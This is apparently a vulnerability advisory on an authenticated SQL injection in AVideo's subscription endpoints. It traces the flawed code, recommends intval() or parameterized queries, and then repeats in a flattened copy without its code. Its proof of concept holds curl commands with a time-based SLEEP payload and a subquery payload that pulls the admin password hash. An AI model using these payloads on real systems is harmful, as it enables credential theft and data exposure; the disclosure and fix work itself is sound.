Summary
The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.
Details
The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.
Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:
// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());
Constructor stores raw value — objects/subscribe.php:34:
public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
// ...
$this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization
$this->subscriber_users_id = $subscriber_users_id;
if (empty($this->id)) {
$this->loadFromId($this->subscriber_users_id, $user_id, "");
}
}
getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:
public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
$subscriber_users_id = intval($subscriber_users_id); // Local variable only
$user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected
When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.
Vulnerable sink — objects/subscribe.php:88:
public function save()
{
if (!empty($this->id)) {
// UPDATE path (not reached when $this->id is null)
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id)
VALUES ('{$this->users_id}', ..."; // Direct concatenation of injected value
}
$saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values
sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:
When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.
PoC
Prerequisites: An authenticated session on the target AVideo instance.
Step 1: Confirm injection with time-based blind SQLi
# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
-b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)
Step 2: Extract admin password hash via INSERT subquery
# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
https://target/objects/subscribe.json.php
This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.
Step 3: Read exfiltrated data
The injected row is readable via any endpoint that queries the subscribes table and returns the email field (e.g., getAllSubscribes()).
The same attack works against objects/subscribeNotify.json.php via the same user_id parameter.
Impact
- Full database read access: An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:
- User password hashes (
users.pass)
- Admin credentials
- Encryption salts and API keys from configuration tables
- Email addresses and personal data of all users
- Data integrity: The attacker can insert arbitrary rows into the
subscribes table.
- Two affected endpoints: Both
subscribe.json.php and subscribeNotify.json.php pass raw $_POST['user_id'] to the vulnerable code path.
Recommended Fix
Apply intval() to $this->users_id before use in the constructor, or better yet, use parameterized queries in save().
Option 1 — Sanitize in constructor (minimal fix):
// objects/subscribe.php, constructor (line 34)
- $this->users_id = $user_id;
+ $this->users_id = intval($user_id);
Option 2 — Use parameterized query in save() (recommended):
// objects/subscribe.php, save() method (lines 87-90)
public function save()
{
global $global;
if (!empty($this->id)) {
$sql = "UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?";
$saved = sqlDAL::writeSql($sql, "sssi", [$this->status, $this->notify, getRealIpAddr(), $this->id]);
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)";
$saved = sqlDAL::writeSql($sql, "isssi", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]);
}
Option 2 is strongly recommended as it also fixes the unsanitized $this->email, $this->status, and getRealIpAddr() values in both the INSERT and UPDATE paths, preventing any future injection through those fields.
References
Summary
The
Subscribe::save()method inobjects/subscribe.phpconcatenates the$this->users_idproperty directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from$_POST['user_id']in bothsubscribe.json.phpandsubscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.Details
The vulnerability exists because of a disconnect between where
intval()is applied and where the value is used in SQL.Entry points —
objects/subscribe.json.php:40andobjects/subscribeNotify.json.php:23:Constructor stores raw value —
objects/subscribe.php:34:getSubscribeFromIDsanitizes local copies only —objects/subscribe.php:137-139:When
getSubscribeFromIDfinds no matching subscription (the attacker simply targets a user_id they haven't subscribed to),loadFromId()returns false. The object's$this->idremains null, and$this->users_idretains the unsanitized injection payload.Vulnerable sink —
objects/subscribe.php:88:sqlDAL::writeSqlprovides no protection —objects/mysql_dal.php:102:When called without
$formats/$valuesparameters (assave()does), theeval_mysql_bind()function at line 636 returnstruewithout binding any parameters. The already-concatenated SQL string is passed directly to$global['mysqli']->prepare()andexecute(), executing the injection as the prepared statement itself.PoC
Prerequisites: An authenticated session on the target AVideo instance.
Step 1: Confirm injection with time-based blind SQLi
Step 2: Extract admin password hash via INSERT subquery
This closes the
VALUESclause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into theemailcolumn of thesubscribestable, which can be read back via the subscription list API.Step 3: Read exfiltrated data
The injected row is readable via any endpoint that queries the
subscribestable and returns theemailfield (e.g.,getAllSubscribes()).The same attack works against
objects/subscribeNotify.json.phpvia the sameuser_idparameter.Impact
users.pass)subscribestable.subscribe.json.phpandsubscribeNotify.json.phppass raw$_POST['user_id']to the vulnerable code path.Recommended Fix
Apply
intval()to$this->users_idbefore use in the constructor, or better yet, use parameterized queries insave().Option 1 — Sanitize in constructor (minimal fix):
Option 2 — Use parameterized query in save() (recommended):
Option 2 is strongly recommended as it also fixes the unsanitized
$this->email,$this->status, andgetRealIpAddr()values in both the INSERT and UPDATE paths, preventing any future injection through those fields.References